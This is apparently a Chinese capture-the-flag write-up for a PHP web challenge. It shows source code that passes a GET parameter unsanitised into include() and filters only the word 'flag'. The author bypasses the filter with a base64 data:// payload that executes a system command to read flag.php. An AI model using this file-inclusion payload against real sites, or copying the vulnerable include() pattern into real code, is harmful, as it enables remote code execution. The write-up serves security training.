
0x01#
访问靶场,获得源码回显
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| <?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-04 00:12:34
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-04 05:18:55
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
include($c);
echo $flag;
}
}else{
highlight_file(__FILE__);
}
|
0x02#
审计代码,发现这题改变方法,使用include方法包含$c,同时因为过滤flag,无法直接使用php://filter/read=convert.base64-encode/resource=flag.php,使用data://text/plain;base64,XXXXX来构造payload
提交payload?c=data://text/plain;base64,PD9waHAgc3lzdGVtKCd0YWMgZmxhZy5waHAnKTs/Pg==
获得flag